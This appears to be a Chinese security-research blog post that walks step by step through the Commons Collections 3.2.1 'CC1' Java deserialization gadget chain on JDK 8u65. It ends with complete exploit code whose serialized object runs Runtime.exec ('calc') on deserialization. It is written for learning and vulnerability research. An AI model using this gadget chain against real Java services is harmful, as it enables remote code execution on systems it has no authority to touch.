Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链(国内版本的)。
环境搭建
CC1存在于JDK_8u65的版本,官网的8U65安装后貌似版本不正确,JDK8U65下载地址:https://www.123pan.com/s/xPY9-IzlvH
密码8899
JDK有些文件是反编译出来的class文件,无法调试,需要引用源文件
下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载后把压缩包的src\share\classes目录的sun放到JDK的src目录
IDEA引用源文件
创建一个项目,导入依赖
<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
利用链分析
入口是在org.apache.commons.collections.functors.InvokerTransformer#transform
InvokerTransformer的构造方法传递的参数都是可控的
transform()方法接收了任意方法,并且进行了反射调用
并且实现了Serializable接口
尝试使用transform()方法进行调用
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Test1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
接下来找利用链,看看那个方法调用了transform()
找到了TransformedMap类下的checkSetValue()方法,权限是protected无法直接创建对象来获得关系
TransformedMap类的构造方法也是protected权限,只能通过内部调用,并且valueTransformer值是可控的,可以传参InvokerTransformer来调用InvokerTransformer的transform()方法
在这个类找到了静态方法docorate方法,实例化了TransformedMap类
再看一下哪里调用了checkSetValue()方法
看到org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue调用了checkSetValue()方法
看一下继承的父类
跟进一下实现的接口,看到了setvalue方法
回到AbstractInputCheckedMapDecorator.MapEntry#setValue,发现是重写了Map的setValue方法,可以通过遍历Map的方式去调用setValue–>checkSetValue–>transform
测试代码
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Test1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
// InvokerTransformer transform = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
InvokerTransformer transform = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap();
map.put("key","value");
Map<Object,Object> transformap = TransformedMap.decorate(map, null, transform);
for (Map.Entry entry:transformap.entrySet()){
entry.setValue(r);
}
}
}
再找一下哪里调用了setValue方法,最好是在readobject方法内
在AnnotationInvocationHandler中的readObject方法中调用了,并且还实现了Map的遍历
需要保证memberValues和setValue里面的值可控,在构造方法看到memberValues的值可控
但是这个类不是公开的类,不能直接调用,这个问题可以通过反射来调用
反射调用
Class annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = annotationClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformap);
serialize(o);
unserialize("ser.bin");
问题一
由于需要进行序列化,而Runtime没有实现Serializable接口无法被序列化,但是Class是可以被序列化的,可以通过反射把getRuntime反射出来
Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);
Runtime getruntimeinvoke = (Runtime) getRuntime.invoke(null, null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(getruntimeinvoke,"calc");
使用InvokerTransformer进行实现,同时使用ChainedTransfomer进行代码优化
Transformer[] transform1 = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
//chainedTransformer.transform(Runtime.class);
问题二
调试代码发现readObject里面进行了判断,name为传进来的map传进来的第一个值,memberType为获取成员变量中的名称,所以需要传递一个有变量成员的注解,key值于成员变量名称一致
Target存在成员变量
修改一下
调试,满足条件,进入了判断里面
问题三
继续跟进发现setValue传递的是AnnotationTypeMismatchExceptionProxy对象,而不是我们准备的Runtime.class
这里需要ConstantTransformer这个类,它里面也实现了transform方法,配合构造方法,实例化这个对象,然后调用transform方法,无论transform方法传递什么对象都会返回实例化对象传递的对象
最终代码
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test1 {
public static void main(String[] args) throws Exception{
// Runtime r = Runtime.getRuntime();
//
// Class<Runtime> runtimeClass = Runtime.class;
// Method getRuntime = runtimeClass.getMethod("getRuntime", null);
// Runtime getruntimeinvoke = (Runtime) getRuntime.invoke(null, null);
// Method exec = runtimeClass.getMethod("exec", String.class);
// exec.invoke(getruntimeinvoke,"calc");
// InvokerTransformer transform = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
// InvokerTransformer transform = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Transformer[] transform1 = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
// chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap();
map.put("value","value");
Map<Object,Object> transformap = TransformedMap.decorate(map, null, chainedTransformer);
// for (Map.Entry entry:transformap.entrySet()){
// entry.setValue(r);
//
// }
Class annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = annotationClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
System.out.println("serialize");
}
public static Object unserialize(String str) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
Object obj = objectInputStream.readObject();
System.out.println("unserialize");
return obj;
}
}
























